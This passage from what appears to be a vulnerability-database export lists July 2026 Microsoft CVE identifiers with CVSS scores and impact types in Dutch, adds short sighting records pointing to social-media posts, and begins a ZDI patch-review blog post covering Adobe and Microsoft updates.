|\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:28.056418Z"}, {"uuid": "d85b0dff-8072-487c-9213-6c61caa3fab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48413", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mstqsplgbb27", "content": "CVE-2026-48413 (HIGH) CVSS 8.7: https://experiencedigest.org/2026/08/11/cve-high-cvss.html", "creation_timestamp": "2026-08-11T23:18:48.140121Z"}, {"uuid": "0128f3de-8083-4588-9f72-ba5360520a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48414", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mstqsrno3a2p", "content": "CVE-2026-48414 (HIGH) CVSS 7.7: https://experiencedigest.org/2026/08/11/191731.html", "creation_timestamp": "2026-08-11T23:18:50.066059Z"}, {"uuid": "ce256409-f2c0-45da-94e7-6710f74c3f03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48416", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mstqsse6bc2t", "content": "CVE-2026-48416 (HIGH) CVSS 7.5: https://experiencedigest.org/2026/08/11/7988c5.html", "creation_timestamp": "2026-08-11T23:18:50.772096Z"}, {"uuid": "446679a0-7f3a-4e05-a543-ab88d72a14c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48286", "type": "seen", "source": "https://t.me/CyberDispatch/2185", "content": "Adobe patched 9 flaws in ColdFusion and Campaign Classic, 7 rated CVSS 10.0.\n\nColdFusion issues enable RCE, privilege escalation, file read, and bypass.\n\nCampaign Classic CVE-2026-48286 impacts on-prem ACC v7 only.", "creation_timestamp": "2026-08-29T20:00:07.965011Z"}, {"uuid": "9d75f6ba-be0c-42cf-852a-d2d0f6abd87a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48765", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mstryqmxf52b", "content": "CVE-2026-48765\nVersions of TypeBot before 3.17.0 are vulnerable to an attacker taking control of a workspace's OAuth credentials. This could happen if an attacker has limited access to a workspace and can view its settings.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-11T23:40:04.378130Z"}, {"uuid": "d12e747b-a55f-4472-90e5-a56f9afee620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/WcrzV29axaMqvAyqM500IhexAvA_wc8Hn5on5ZVuAzJtS8U", "content": "", "creation_timestamp": "2026-08-07T14:00:03.843659Z"}, {"uuid": "ae392257-335b-4bb8-a51d-7a0b1ca43427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "Telegram/Q9l_khQPCrK3-pFmIQSwPbzLcXParwYcI8FNGTh0OV54rzY", "content": "", "creation_timestamp": "2026-08-07T14:00:03.934815Z"}, {"uuid": "9290374d-8cb6-4ac0-9ec3-40f8dbc7dba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/Q9l_khQPCrK3-pFmIQSwPbzLcXParwYcI8FNGTh0OV54rzY", "content": "", "creation_timestamp": "2026-08-07T14:00:03.989015Z"}, {"uuid": "a7649a26-c10a-41fa-a912-2f11e21e8697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48564", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is 